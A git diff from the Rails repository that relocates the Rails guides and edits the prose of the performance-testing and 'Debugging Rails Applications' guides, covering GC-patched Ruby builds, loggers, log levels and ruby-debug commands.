http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715[views]: + +[source, ruby] +---------------------------------------------------------------------------- +<% benchmark("Showing projects partial") do %> + <%= render :partial => @projects %> +<% end %> +---------------------------------------------------------------------------- + +== Performance Test Cases == + +Rails provides a very easy to write performance test cases, which look just like the regular integration tests. + +If you have a look at +test/performance/browsing_test.rb+ in a newly created Rails application: + +[source, ruby] +---------------------------------------------------------------------------- +require 'test_helper' +require 'performance_test_help' + +# Profiling results for each test method are written to tmp/performance. +class BrowsingTest < ActionController::PerformanceTest + def test_homepage + get '/' + end +end +---------------------------------------------------------------------------- + +This is an automatically generated example performance test file, for testing performance of homepage('/') of the application. + +=== Modes === + +==== Benchmarking ==== +==== Profiling ==== + +=== Metrics === + +==== Process Time ==== + +CPU Cycles. + +==== Memory ==== + +Memory taken. + +==== Objects ==== + +Objects allocated. + +==== GC Runs ==== + +Number of times the Ruby GC was run. + +==== GC Time ==== + +Time spent running the Ruby GC. + +=== Preparing Ruby and Ruby-prof === + +Before we go ahead, Rails performance testing requires you to build a special Ruby binary with some super powers - GC patch for measuring GC Runs/Time. This process is very straight forward. If you've never compiled a Ruby binary before, you can follow the following steps to build a ruby binary inside your home directory: + +==== Compile ==== + +[source, shell] +---------------------------------------------------------------------------- +[lifo@null ~]$ mkdir rubygc +[lifo@null ~]$ wget ftp://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6-p111.tar.gz +[lifo@null ~]$ tar -xzvf ruby-1.8.6-p111.tar.gz +[lifo@null ~]$ cd ruby-1.8.6-p111 +[lifo@null ruby-1.8.6-p111]$ curl http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch | patch -p0 +[lifo@null ruby-1.8.6-p111]$ ./configure --prefix=/Users/lifo/rubygc +[lifo@null ruby-1.8.6-p111]$ make && make install +---------------------------------------------------------------------------- + +==== Prepare aliases ==== + +Add the following lines in your ~/.profile for convenience: + +---------------------------------------------------------------------------- +alias gcruby='/Users/lifo/rubygc/bin/ruby' +alias gcrake='/Users/lifo/rubygc/bin/rake' +alias gcgem='/Users/lifo/rubygc/bin/gem' +alias gcirb='/Users/lifo/rubygc/bin/irb' +alias gcrails='/Users/lifo/rubygc/bin/rails' +---------------------------------------------------------------------------- + +==== Install rubygems and some basic gems ==== + +---------------------------------------------------------------------------- +[lifo@null ~]$ wget http://rubyforge.org/frs/download.php/38646/rubygems-1.2.0.tgz +[lifo@null ~]$ tar -xzvf rubygems-1.2.0.tgz +[lifo@null ~]$ cd rubygems-1.2.0 +[lifo@null rubygems-1.2.0]$ gcruby setup.rb +[lifo@null rubygems-1.2.0]$ cd ~ +[lifo@null ~]$ gcgem install rake +[lifo@null ~]$ gcgem install rails +---------------------------------------------------------------------------- + +==== Install MySQL gem ==== + +---------------------------------------------------------------------------- +[lifo@null ~]$ gcgem install mysql +---------------------------------------------------------------------------- + +If this fails, you can try to install it manually: + +---------------------------------------------------------------------------- +[lifo@null ~]$ cd /Users/lifo/rubygc/lib/ruby/gems/1.8/gems/mysql-2.7/ +[lifo@null mysql-2.7]$ gcruby extconf.rb --with-mysql-config +[lifo@null mysql-2.7]$ make && make install +---------------------------------------------------------------------------- + +=== Installing Jeremy Kemper's ruby-prof === + +We also need to install Jeremy's ruby-prof gem using our newly built ruby: + +[source, shell] +---------------------------------------------------------------------------- +[lifo@null ~]$ git clone git://github.com/jeremy/ruby-prof.git +[lifo@null ~]$ cd ruby-prof/ +[lifo@null ruby-prof (master)]$ gcrake gem +[lifo@null ruby-prof (master)]$ gcgem install pkg/ruby-prof-0.6.1.gem +---------------------------------------------------------------------------- + +=== Generating performance test === + +Rails provides a simple generator for creating new performance tests: + +[source, shell] +---------------------------------------------------------------------------- +[User profiling_tester (master)]$ script/generate performance_test homepage +---------------------------------------------------------------------------- + +This will generate +test/performance/homepage_test.rb+: + +---------------------------------------------------------------------------- +require 'test_helper' +require 'performance_test_help' + +class HomepageTest < ActionController::PerformanceTest + # Replace this with your real tests. + def test_homepage + get '/' + end +end +---------------------------------------------------------------------------- + +Which you can modify to suit your needs. + +=== Running tests === + +include::rubyprof.txt[] + +include::digging_deeper.txt[] + +include::gameplan.txt[] + +include::appendix.txt[] + +== Changelog == + +http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4[Lighthouse ticket] + +* October 17, 2008: First revision by Pratik +* September 6, 2008: Initial version by Matthew Bergman <MzbPhoto@gmail.com>
\ No newline at end of file diff --git a/railties/doc/guides/benchmarking_and_profiling/rubyprof.txt b/railties/doc/guides/source/benchmarking_and_profiling/rubyprof.txt index fa01d413a1..fa01d413a1 100644 --- a/railties/doc/guides/benchmarking_and_profiling/rubyprof.txt +++ b/railties/doc/guides/source/benchmarking_and_profiling/rubyprof.txt diff --git a/railties/doc/guides/benchmarking_and_profiling/statistics.txt b/railties/doc/guides/source/benchmarking_and_profiling/statistics.txt index 9fca979dec..9fca979dec 100644 --- a/railties/doc/guides/benchmarking_and_profiling/statistics.txt +++ b/railties/doc/guides/source/benchmarking_and_profiling/statistics.txt diff --git a/railties/doc/guides/caching/caching_with_rails.txt b/railties/doc/guides/source/caching_with_rails.txt index d5b8b03669..d5b8b03669 100644 --- a/railties/doc/guides/caching/caching_with_rails.txt +++ b/railties/doc/guides/source/caching_with_rails.txt diff --git a/railties/doc/guides/creating_plugins/acts_as_yaffle.txt b/railties/doc/guides/source/creating_plugins/acts_as_yaffle.txt index 12d40deb18..12d40deb18 100644 --- a/railties/doc/guides/creating_plugins/acts_as_yaffle.txt +++ b/railties/doc/guides/source/creating_plugins/acts_as_yaffle.txt diff --git a/railties/doc/guides/creating_plugins/appendix.txt b/railties/doc/guides/source/creating_plugins/appendix.txt index a78890ccd5..a78890ccd5 100644 --- a/railties/doc/guides/creating_plugins/appendix.txt +++ b/railties/doc/guides/source/creating_plugins/appendix.txt diff --git a/railties/doc/guides/creating_plugins/basics.markdown b/railties/doc/guides/source/creating_plugins/basics.markdown index f59e8728d7..f59e8728d7 100644 --- a/railties/doc/guides/creating_plugins/basics.markdown +++ b/railties/doc/guides/source/creating_plugins/basics.markdown diff --git a/railties/doc/guides/creating_plugins/custom_generator.txt b/railties/doc/guides/source/creating_plugins/custom_generator.txt index 6d9613ea01..6d9613ea01 100644 --- a/railties/doc/guides/creating_plugins/custom_generator.txt +++ b/railties/doc/guides/source/creating_plugins/custom_generator.txt diff --git a/railties/doc/guides/creating_plugins/custom_route.txt b/railties/doc/guides/source/creating_plugins/custom_route.txt index 7e399247ee..7e399247ee 100644 --- a/railties/doc/guides/creating_plugins/custom_route.txt +++ b/railties/doc/guides/source/creating_plugins/custom_route.txt diff --git a/railties/doc/guides/creating_plugins/creating_plugins.txt b/railties/doc/guides/source/creating_plugins/index.txt index f2ed6ed8bb..f2ed6ed8bb 100644 --- a/railties/doc/guides/creating_plugins/creating_plugins.txt +++ b/railties/doc/guides/source/creating_plugins/index.txt diff --git a/railties/doc/guides/creating_plugins/migration_generator.txt b/railties/doc/guides/source/creating_plugins/migration_generator.txt index 598a0c8437..598a0c8437 100644 --- a/railties/doc/guides/creating_plugins/migration_generator.txt +++ b/railties/doc/guides/source/creating_plugins/migration_generator.txt diff --git a/railties/doc/guides/creating_plugins/odds_and_ends.txt b/railties/doc/guides/source/creating_plugins/odds_and_ends.txt index eb127f73ca..eb127f73ca 100644 --- a/railties/doc/guides/creating_plugins/odds_and_ends.txt +++ b/railties/doc/guides/source/creating_plugins/odds_and_ends.txt diff --git a/railties/doc/guides/creating_plugins/preparation.txt b/railties/doc/guides/source/creating_plugins/preparation.txt index 77e3a3561f..77e3a3561f 100644 --- a/railties/doc/guides/creating_plugins/preparation.txt +++ b/railties/doc/guides/source/creating_plugins/preparation.txt diff --git a/railties/doc/guides/creating_plugins/string_to_squawk.txt b/railties/doc/guides/source/creating_plugins/string_to_squawk.txt index 50516cef69..50516cef69 100644 --- a/railties/doc/guides/creating_plugins/string_to_squawk.txt +++ b/railties/doc/guides/source/creating_plugins/string_to_squawk.txt diff --git a/railties/doc/guides/creating_plugins/view_helper.txt b/railties/doc/guides/source/creating_plugins/view_helper.txt index b03a190e1a..b03a190e1a 100644 --- a/railties/doc/guides/creating_plugins/view_helper.txt +++ b/railties/doc/guides/source/creating_plugins/view_helper.txt diff --git a/railties/doc/guides/debugging/debugging_rails_applications.txt b/railties/doc/guides/source/debugging_rails_applications.txt index f7538cd08b..24eb0c0431 100644 --- a/railties/doc/guides/debugging/debugging_rails_applications.txt +++ b/railties/doc/guides/source/debugging_rails_applications.txt @@ -1,7 +1,7 @@ Debugging Rails Applications ============================ -This guide covers how to debug Ruby on Rails applications. By referring to this guide, you will be able to: +This guide introduces techniques for debugging Ruby on Rails applications. By referring to this guide, you will be able to: * Understand the purpose of debugging * Track down problems and issues in your application that your tests aren't identifying @@ -18,7 +18,7 @@ One common task is to inspect the contents of a variable. In Rails, you can do t === debug -`debug` will return a <pre>-tag that has object dumped by YAML. Generating readable output to inspect any object. +The `debug` helper will return a <pre>-tag that renders the object using the YAML format. This will generate human-readable data from any object. For example, if you have this code in a view: [source, html] ---------------------------------------------------------------------------- @@ -29,8 +29,9 @@ One common task is to inspect the contents of a variable. In Rails, you can do t </p> ---------------------------------------------------------------------------- -Will render something like this: +You'll see something like this: +[source, log] ---------------------------------------------------------------------------- --- !ruby/object:Post attributes: @@ -59,10 +60,11 @@ Displaying an instance variable, or any other object or method, in yaml format c </p> ---------------------------------------------------------------------------- -`to_yaml` converts the method to yaml format leaving it more readable and finally `simple_format` help us to render each line as in the console. This is how `debug` method does its magic. +The `to_yaml` method converts the method to YAML format leaving it more readable, and then the `simple_format` helper is used to render each line as in the console. This is how `debug` method does its magic. As a result of this, you will have something like this in your view: +[source, log] ---------------------------------------------------------------------------- --- !ruby/object:Post attributes: @@ -79,7 +81,7 @@ Title: Rails debugging guide === inspect -Another useful method for displaying object values is `inspect`, especially when working with arrays or hashes, it will print the object value as a string, for example: +Another useful method for displaying object values is `inspect`, especially when working with arrays or hashes. This will print the object value as a string. For example: [source, html] ---------------------------------------------------------------------------- @@ -92,6 +94,7 @@ Another useful method for displaying object values is `inspect`, especially when Will be rendered as follows: +[source, log] ---------------------------------------------------------------------------- [1, 2, 3, 4, 5] @@ -100,11 +103,13 @@ Title: Rails debugging guide == The Logger -=== What is it? +It can also be useful to save information to log files at runtime. Rails maintains a separate log file for each runtime environment. -Rails makes use of ruby's standard `logger` to write log information. You can also substitute another logger such as `Log4R` if you wish. +=== What is The Logger? -If you want to change the logger you can specify it in your +environment.rb+ or any environment file. +Rails makes use of Ruby's standard `logger` to write log information. You can also substitute another logger such as `Log4R` if you wish. + +You can specify an alternative logger in your +environment.rb+ or any environment file: [source, ruby] ---------------------------------------------------------------------------- @@ -112,7 +117,7 @@ ActiveRecord::Base.logger = Logger.new(STDOUT) ActiveRecord::Base.logger = Log4r::Logger.new("Application Log") ---------------------------------------------------------------------------- -Or in the `__Initializer__` section, add _any_ of the following +Or in the +Initializer+ section, add _any_ of the following [source, ruby] ---------------------------------------------------------------------------- @@ -125,9 +130,9 @@ By default, each log is created under `RAILS_ROOT/log/` and the log file name is === Log Levels -When something is logged it's printed into the corresponding log if the message log level is equal or higher than the configured log level. If you want to know the current log level just call `ActiveRecord::Base.logger.level` method. +When something is logged it's printed into the corresponding log if the log level of the message is equal or higher than the configured log level. If you want to know the current log level you can call the `ActiveRecord::Base.logger.level` method. -The available log levels are: +:debug+, +:info+, +:warn+, +:error+, +:fatal+, each level has a log level number from 0 up to 4 respectively. To change the default log level, use +The available log levels are: +:debug+, +:info+, +:warn+, +:error+, and +:fatal+, corresponding to the log level numbers from 0 up to 4 respectively. To change the default log level, use [source, ruby] ---------------------------------------------------------------------------- @@ -138,7 +143,7 @@ ActiveRecord::Base.logger.level = 0 # at any time This is useful when you want to log under development or staging, but you don't want to flood your production log with unnecessary information. [TIP] -Rails default log level is +info+ in production mode and +debug+ in development and test mode. +The default Rails log level is +info+ in production mode and +debug+ in development and test mode. === Sending Messages @@ -151,7 +156,7 @@ logger.info "Processing the request..." logger.fatal "Terminating application, raised unrecoverable error!!!" ---------------------------------------------------------------------------- -A common example: +Here's an example of a method instrumented with extra logging: [source, ruby] ---------------------------------------------------------------------------- @@ -176,45 +181,49 @@ class PostsController < ApplicationController end ---------------------------------------------------------------------------- -Will be logged like this: +Here's an example of the log generated by this method: +[source, log] ---------------------------------------------------------------------------- Processing PostsController#create (for 127.0.0.1 at 2008-09-08 11:52:54) [POST] - Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGlvbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4 - Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!", "published"=>"0"}, "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"posts"} -New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!", "published"=>false, "created_at"=>nil} + Session ID: BAh7BzoMY3NyZl9pZCIlMDY5MWU1M2I1ZDRjODBlMzkyMWI1OTg2NWQyNzViZjYiCmZsYXNoSUM6J0FjdGl +vbkNvbnRyb2xsZXI6OkZsYXNoOjpGbGFzaEhhc2h7AAY6CkB1c2VkewA=--b18cd92fba90eacf8137e5f6b3b06c4d724596a4 + Parameters: {"commit"=>"Create", "post"=>{"title"=>"Debugging Rails", + "body"=>"I'm learning how to print in logs!!!", "published"=>"0"}, + "authenticity_token"=>"2059c1286e93402e389127b1153204e0d1e275dd", "action"=>"create", "controller"=>"posts"} +New post: {"updated_at"=>nil, "title"=>"Debugging Rails", "body"=>"I'm learning how to print in logs!!!", + "published"=>false, "created_at"=>nil} Post should be valid: true - Post Create (0.000443) INSERT INTO "posts" ("updated_at", "title", "body", "published", "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails', 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54') + Post Create (0.000443) INSERT INTO "posts" ("updated_at", "title", "body", "published", + "created_at") VALUES('2008-09-08 14:52:54', 'Debugging Rails', + 'I''m learning how to print in logs!!!', 'f', '2008-09-08 14:52:54') The post was saved and now is the user is going to be redirected... Redirected to #<Post:0x20af760> Completed in 0.01224 (81 reqs/sec) | DB: 0.00044 (3%) | 302 Found [http://localhost/posts] ---------------------------------------------------------------------------- -Notice the logged lines, now you can search for any unexpected behavior in the output. - -By now you should know how to use the logs in any environment. Remember to take advantage of the log levels and use them wisely, mostly in production mode. +Adding extra logging like this makes it easy to search for unexpected or unusual behavior in your logs. If you add extra logging, be sure to make sensible use of log levels, to avoid filling your production logs with useless trivia. == Debugging with ruby-debug -Many times your code may not behave as you expect, sometimes you will try to print in logs, console or view values to make a diagnostic of the problem. +When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion. -Unfortunately, you won't find always the answer you are looking for this way. In that case, you will need to know what's happening and adventure into Rails, in this journey the debugger will be your best companion. - -If you ever wanted to learn about Rails source code but you didn't know where to start, this may be the best way, just debug any request to your application and use this guide to learn how to move in the code you have written but also go deeper into Rails code. +The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code. === Setup -Ruby-debug comes as a gem so to install, just run: +The debugger used by Rails, +ruby-debug+, comes as a gem. To install it, just run: +[source, shell] ---------------------------------------------------------------------------- -$ sudo gem in ruby-debug +$ sudo gem install ruby-debug ---------------------------------------------------------------------------- -In case you want to download a particular version or get the source code, refer to link:http://rubyforge.org/projects/ruby-debug/[project's page on rubyforge]. +In case you want to download a particular version or get the source code, refer to the link:http://rubyforge.org/projects/ruby-debug/[project's page on rubyforge]. -Rails has built-in support for ruby-debug since April 28, 2007. Inside any Rails application you can invoke the debugger by calling the `debugger` method. +Rails has had built-in support for ruby-debug since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the `debugger` method. -Let's take a look at an example: +Here's an example: [source, ruby] ---------------------------------------------------------------------------- @@ -228,26 +237,32 @@ end If you see the message in the console or logs: +[source, log] ---------------------------------------------------------------------------- ***** Debugger requested, but was not available: Start server with --debugger to enable ***** ---------------------------------------------------------------------------- -Make sure you have started your web server with the option --debugger: +Make sure you have started your web server with the option +--debugger+: +[source, shell] ---------------------------------------------------------------------------- ~/PathTo/rails_project$ script/server --debugger +=> Booting Mongrel (use 'script/server webrick' to force WEBrick) +=> Rails 2.2.0 application starting on http://0.0.0.0:3000 +=> Debugger enabled +... ---------------------------------------------------------------------------- [TIP] -In development mode, you can dynamically `require \'ruby-debug\'` instead of restarting the server, in case it was started without `--debugger`. +In development mode, you can dynamically `require \'ruby-debug\'` instead of restarting the server, if it was started without `--debugger`. In order to use Rails debugging you'll need to be running either *WEBrick* or *Mongrel*. For the moment, no alternative servers are supported. === The Shell -As soon as your application calls the `debugger` method, the debugger will be started in a debugger shell inside the terminal window you've fired up your application server and you will be placed in the ruby-debug's prompt `(rdb:n)`. The _n_ is the thread number. +As soon as your application calls the `debugger` method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at ruby-debug's prompt `(rdb:n)`. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run. -If you got there by a browser request, the browser will be hanging until the debugger has finished and the trace has completely run as any normal request. +If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request. For example: @@ -256,7 +271,7 @@ For example: (rdb:7) ---------------------------------------------------------------------------- -Now it's time to play and dig into our application. The first we are going to do is ask our debugger for help... so we type: `help` (You didn't see that coming, right?) +Now it's time to play and dig into your application. A good place to start is by asking the debugger for help... so type: `help` (You didn't see that coming, right?) ---------------------------------------------------------------------------- (rdb:7) help @@ -272,11 +287,11 @@ continue edit frame method putl set tmate where ---------------------------------------------------------------------------- [TIP] -To view the help menu for any command use `help <command-name>` in active debug mode. For example: _help var_ +To view the help menu for any command use `help <command-name>` in active debug mode. For example: _+help var+_ -The second command before we move on, is one of the most useful command: `list` (or his shorthand `l`). +The next command to learn is one of the most useful: `list`. You can also abbreviate ruby-debug commands by supplying just enough letters to distinguish them from other commands, so you can also use +l+ for the +list+ command. -This command will give us a starting point of where we are by printing 10 lines centered around the current line; the current line here is line 6 and is marked by =>. +This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by +=>+. ---------------------------------------------------------------------------- (rdb:7) list @@ -293,7 +308,7 @@ This command will give us a starting point of where we are by printing 10 lines 10 format.xml { render :xml => @posts } ---------------------------------------------------------------------------- -If we do it again, this time using just `l`, the next ten lines of the file will be printed out. +If you repeat the +list+ command, this time using just `l`, the next ten lines of the file will be printed out. ---------------------------------------------------------------------------- (rdb:7) l @@ -310,14 +325,15 @@ If we do it again, this time using just `l`, the next ten lines of the file will 20 format.html # show.html.erb ---------------------------------------------------------------------------- -And so on until the end of the current file, when the end of file is reached, it will start again from the beginning of the file and continue again up to the end, acting as a circular buffer. +And so on until the end of the current file. When the end of file is reached, the +list+ command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer. === The Context -When we start debugging your application, we will be placed in different contexts as you go through the different parts of the stack. -A context will be created when a stopping point or an event is reached. It has information about the suspended program which enable a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place the debugged program is stopped. +When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack. -At any time we can call the `backtrace` command (or alias `where`) to print the backtrace of the application, this is very helpful to know how we got where we are. If you ever wondered about how you got somewhere in your code, then `backtrace` is your answer. +ruby-debug creates a content when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped. + +At any time you can call the `backtrace` command (or its alias `where`) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then `backtrace` will supply the answer. ---------------------------------------------------------------------------- (rdb:5) where @@ -332,7 +348,7 @@ At any time we can call the `backtrace` command (or alias `where`) to print the ... ---------------------------------------------------------------------------- -You move anywhere you want in this trace using the `frame _n_` command, where _n_ is the specified frame number. +You move anywhere you want in this trace (thus changing the context) by using the `frame _n_` command, where _n_ is the specified frame number. ---------------------------------------------------------------------------- (rdb:5) frame 2 @@ -340,27 +356,27 @@ You move anywhere you want in this trace using the `frame _n_` command, where _n at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175 ---------------------------------------------------------------------------- -The available variables are the same as if we were running the code line by line, after all, that's what debugging is. +The available variables are the same as if you were running the code line by line. After all, that's what debugging is. -Moving up and down the stack frame: You can use `up [n]` (`u` for abbreviated) and `down [n]` commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. +Moving up and down the stack frame: You can use `up [n]` (`u` for abbreviated) and `down [n]` commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames. === Threads -The debugger can list, stop, resume and switch between running threads, the command `thread` (or the abbreviated `th`) is used an allows the following options: +The debugger can list, stop, resume and switch between running threads by using the command `thread` (or the abbreviated `th`). This command has a handful of options: * `thread` shows the current thread. -* `thread list` command is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution. +* `thread list` is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution. * `thread stop _n_` stop thread _n_. -* `thread resume _n_` resume thread _n_. -* `thread switch _n_` switch thread context to _n_. +* `thread resume _n_` resumes thread _n_. +* `thread switch _n_` switches the current thread context to _n_. This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code. === Inspecting Variables -Any expression can be evaluated in the current context, just type it! +Any expression can be evaluated in the current context. To evaluate an expression, just type it! -In the following example we will print the instance_variables defined within the current context. +This example shows how you can print the instance_variables defined within the current context: ---------------------------------------------------------------------------- @posts = Post.find(:all) @@ -368,7 +384,7 @@ In the following example we will print the instance_variables defined within the ["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"] ---------------------------------------------------------------------------- -As you may have figured out, all variables that you can access from a controller are displayed, lets run the next line, we will use `next` (we will get later into this command). +As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using `next` (you'll learn more about this command later in this guide). ---------------------------------------------------------------------------- (rdb:11) next @@ -379,19 +395,19 @@ Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET] respond_to do |format| ------------------------------------------------------------------------------- -And we'll ask again for the instance_variables. +And then ask again for the instance_variables: ---------------------------------------------------------------------------- (rdb:11) instance_variables.include? "@posts" true ---------------------------------------------------------------------------- -Now +@posts+ is a included in them, because the line defining it was executed. +Now +@posts+ is a included in the instance variables, because the line defining it was executed. [TIP] -You can also step into *irb* mode with the command `irb` (of course!). This way an irb session will be started within the context you invoked it. But you must know that this is an experimental feature. +You can also step into *irb* mode with the command `irb` (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature. -To show variables and their values the `var` method is the most convenient way: +The `var` method is the most convenient way to show variables and their values: ---------------------------------------------------------------------------- var @@ -401,7 +417,7 @@ var (rdb:1) v[ar] l[ocal] show local variables ---------------------------------------------------------------------------- -This is a great way for inspecting the values of the current context variables. For example: +This is a great way to inspect the values of the current context variables. For example: ---------------------------------------------------------------------------- (rdb:9) var local @@ -418,16 +434,16 @@ You can also inspect for an object method this way: ---------------------------------------------------------------------------- [TIP] -Commands `p` (print) and `pp` (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console. +The commands `p` (print) and `pp` (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console. -We can use also `display` to start watching variables, this is a good way of tracking values of a variable while the execution goes on. +You can use also `display` to start watching variables. This is a good way of tracking the values of a variable while the execution goes on. ---------------------------------------------------------------------------- (rdb:1) display @recent_comments 1: @recent_comments = ---------------------------------------------------------------------------- -The variables inside the displaying list will be printed with their values after we move in the stack. To stop displaying a variable use `undisplay _n_` where _n_ is the variable number (1 in the last example). +The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use `undisplay _n_` where _n_ is the variable number (1 in the last example). === Step by Step @@ -440,9 +456,9 @@ You can also use `step+ _n_` and `step- _n_` to move forward or backward _n_ ste You may also use `next` which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps. -The difference between `next` and `step` is that `step` stops at the next line of code executed, doing just single step, while `next` moves to the next line without descending inside methods. +The difference between `next` and `step` is that `step` stops at the next line of code executed, doing just a single step, while `next` moves to the next line without descending inside methods. -Lets run the next line in this example: +For example, consider this block of code with an included +debugger+ statement: [source, ruby] ---------------------------------------------------------------------------- @@ -462,7 +478,7 @@ end ---------------------------------------------------------------------------- [TIP] -You can use ruby-debug while using script/console but remember to `require "ruby-debug"` before calling `debugger` method. +You can use ruby-debug while using script/console. Just remember to `require "ruby-debug"` before calling the `debugger` method. ---------------------------------------------------------------------------- /PathTo/project $ script/console @@ -476,7 +492,7 @@ Loading development environment (Rails 2.1.0) ) ---------------------------------------------------------------------------- -Now we are where we wanted to be, lets look around. +With the code stopped, take a look around: ---------------------------------------------------------------------------- (rdb:1) list @@ -491,7 +507,7 @@ Now we are where we wanted to be, lets look around. 13 end ---------------------------------------------------------------------------- -We are at the end of the line, but... was this line executed? We can inspect the instance variables. +You are at the end of the line, but... was this line executed? You can inspect the instance variables. ---------------------------------------------------------------------------- (rdb:1) var instance @@ -499,7 +515,7 @@ We are at the end of the line, but... was this line executed? We can inspect the @attributes_cache = {} ---------------------------------------------------------------------------- -+@recent_comments+ hasn't been defined yet, so we can assure this line hasn't been executed yet, lets move on this code. ++@recent_comments+ hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the +next+ command to move on in the code: ---------------------------------------------------------------------------- (rdb:1) next @@ -512,15 +528,15 @@ We are at the end of the line, but... was this line executed? We can inspect the @recent_comments = [] ---------------------------------------------------------------------------- -Now we can see how +@comments+ relationship was loaded and @recent_comments defined because the line was executed. +Now you can see that the +@comments+ relationship was loaded and @recent_comments defined because the line was executed. -In case we want deeper in the stack trace we can move single `steps` and go into Rails code, this is the best way for finding bugs in your code, or maybe in Ruby or Rails. +If you want to go deeper into the stack trace you can move single `steps`, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails. === Breakpoints -A breakpoint makes your application stop whenever a certain point in the program is reached and the debugger shell is invoked in that line. +A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line. -You can add breakpoints dynamically with the command `break` (or just `b`), there are 3 possible ways of adding breakpoints manually: +You can add breakpoints dynamically with the command `break` (or just `b`). There are 3 possible ways of adding breakpoints manually: * `break line`: set breakpoint in the _line_ in the current source file. * `break file:line [if expression]`: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger. @@ -531,7 +547,7 @@ You can add breakpoints dynamically with the command `break` (or just `b`), ther Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10 ---------------------------------------------------------------------------- -Use `info breakpoints _n_` or `info break _n_` lo list breakpoints, is _n_ is defined it shows that breakpoints, otherwise all breakpoints are listed. +Use `info breakpoints _n_` or `info break _n_` to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints. ---------------------------------------------------------------------------- (rdb:5) info breakpoints @@ -539,7 +555,7 @@ Num Enb What 1 y at filters.rb:10 ---------------------------------------------------------------------------- -Deleting breakpoints: use the command `delete _n_` to remove the breakpoint number _n_ or all of them if _n_ is not specified. +To delete breakpoints: use the command `delete _n_` to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active.. ---------------------------------------------------------------------------- (rdb:5) delete 1 @@ -547,57 +563,60 @@ Deleting breakpoints: use the command `delete _n_` to remove the breakpoint numb No breakpoints. ---------------------------------------------------------------------------- -Enabling/Disabling breakpoints: +You can also enable or disable breakpoints: -* `enable breakpoints`: allow a list _breakpoints_ or all of them if none specified, to stop your program (this is the default state when you create a breakpoint). +* `enable breakpoints`: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint. * `disable breakpoints`: the _breakpoints_ will have no effect on your program. === Catching Exceptions The command `catch exception-name` (or just `cat exception-name`) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it. -To list existent catchpoints use `catch`. +To list all active catchpoints use `catch`. === Resuming Execution +There are two ways to resume execution of an application that is stopped in the debugger: + * `continue` [line-specification] (or `c`): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached. -* `finish` [frame-number] (or `fin`): execute until selected stack frame returns. If no frame number is given, we run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given we run until frame frames returns. +* `finish` [frame-number] (or `fin`): execute until the selected stack frame returns. If no frame number is given, the application run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns. === Editing -At any time, you may use any of this commands to edit the code you are evaluating: +Two commands allow you to open code from the debugger into an editor: * `edit [file:line]`: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given. * `tmate _n_` 